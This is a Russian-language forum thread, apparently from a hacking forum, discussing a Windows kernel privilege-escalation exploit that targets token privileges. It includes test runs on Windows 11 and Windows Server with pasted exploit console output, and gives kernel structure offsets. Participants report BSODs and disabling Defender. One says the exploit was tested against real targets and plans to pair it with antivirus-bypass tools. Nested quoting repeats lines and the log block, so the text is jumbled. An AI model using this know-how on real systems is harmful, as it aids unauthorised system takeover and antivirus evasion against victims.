Глазами пробежался по коду, обратил внимание на то что token address считается не зависимо от версии.
Решил прогнать в Windows 11 22H2. Отработало:
Решил прогнать в Windows 11 22H2. Отработало:
У эксплойта всегда есть вероятность BSOD, но в целом он довольно стабилен.Выглядит так как-будто оно. Накатил 10.17763, собрал, запустил:
Посмотреть вложение 66721
Проверил триггерит ли FsAllocAndLockMdl:
Посмотреть вложение 66722
Правда под отладчиком первый раз BSOD словил, жалуется на page fault:
Посмотреть вложение 66723
А в целом отрабатывает.
Тут кстати и автор объявился: https://xss.pro/threads/98819/
Vexer2k если это правда ты, то респект.
Да, смещение токена для структуры _SEP_TOKEN_PRIVILEGES всегда равно смещению 40h, начиная с Windows Vista. Если бы я сделал что-то вроде кражи токена, смещение обычно было бы разным для каждой ОС.Глазами пробежался по коду, обратил внимание на то что token address считается не зависимо от версии.
Решил прогнать в Windows 11 22H2. Отработало:
Посмотреть вложение 66724
[+] Successfully got a handle 1 => 0000000000000318
[+] Successfully got a handle 2 => 0000000000000334
[+] Successfully got a handle 3 => 0000000000000338
[+] Target process TOKEN address: ffffe802049b6980
[+] Target process _SEP_TOKEN_PRIVILEGES address: ffffe802049b69c0
[!] FSInitializeContextRendezvous failed with 0xC0000010
[!] FSInitializeStream failed with 0xC0000010
[!] FSRegisterStream failed with 0xC0000010
[!] PublishTx failed with 0xC0000010
[+] VirtualAlloc buffer => 000001D3D0A50000
[!] ConsumeTx failed with 0xC0000010
[+] Aligned VA Base Address => 0000000000000000
[+] VA Token Address => 0000000000000000
У меня помимо BSOD на него ещё и defender жаловаться, пришлось отключать.Сервер 2016 крашится ехе
Код:[+] Successfully got a handle 1 => 0000000000000318 [+] Successfully got a handle 2 => 0000000000000334 [+] Successfully got a handle 3 => 0000000000000338 [+] Target process TOKEN address: ffffe802049b6980 [+] Target process _SEP_TOKEN_PRIVILEGES address: ffffe802049b69c0 [!] FSInitializeContextRendezvous failed with 0xC0000010 [!] FSInitializeStream failed with 0xC0000010 [!] FSRegisterStream failed with 0xC0000010 [!] PublishTx failed with 0xC0000010 [+] VirtualAlloc buffer => 000001D3D0A50000 [!] ConsumeTx failed with 0xC0000010 [+] Aligned VA Base Address => 0000000000000000 [+] VA Token Address => 0000000000000000
Сервер 2012 - ошибка при запуске
все проверялось в боевых условиях, а не в тестовых лабах, где идеальные условия.
часть АВ обходится полу-паблик софтом. будем думать как его заюзать тогда )У меня помимо BSOD на него ещё и defender жаловаться, пришлось отключать.
До полноценного эксплойта там далеко, но в тепличных условиях отрабатывает, для PoC этого достаточно.
Сервер 2016 крашится ехе
Код:[+] Successfully got a handle 1 => 0000000000000318 [+] Successfully got a handle 2 => 0000000000000334 [+] Successfully got a handle 3 => 0000000000000338 [+] Target process TOKEN address: ffffe802049b6980 [+] Target process _SEP_TOKEN_PRIVILEGES address: ffffe802049b69c0 [!] FSInitializeContextRendezvous failed with 0xC0000010 [!] FSInitializeStream failed with 0xC0000010 [!] FSRegisterStream failed with 0xC0000010 [!] PublishTx failed with 0xC0000010 [+] VirtualAlloc buffer => 000001D3D0A50000 [!] ConsumeTx failed with 0xC0000010 [+] Aligned VA Base Address => 0000000000000000 [+] VA Token Address => 0000000000000000
Сервер 2012 - ошибка при запуске
все проверялось в боевых условиях, а не в тестовых лабах, где идеальные условия.
Error code: (NTSTATUS) 0xc0000010 (3221225488) - The specified request is not a valid operation for the target device.
20h2, 21h2, 22h2 смещение одно и то же будет для _EPROCESS.Token и _KTHREAD.PreviousMode, а если учесть ограниченный набор уязвимых версий, то это не плохая идея (плюсом PPL гасить проще). По крайней мере я никаких проблем не встретил при использовании этой техники.Да, смещение токена для структуры _SEP_TOKEN_PRIVILEGES всегда равно смещению 40h, начиная с Windows Vista. Если бы я сделал что-то вроде кражи токена, смещение обычно было бы разным для каждой ОС.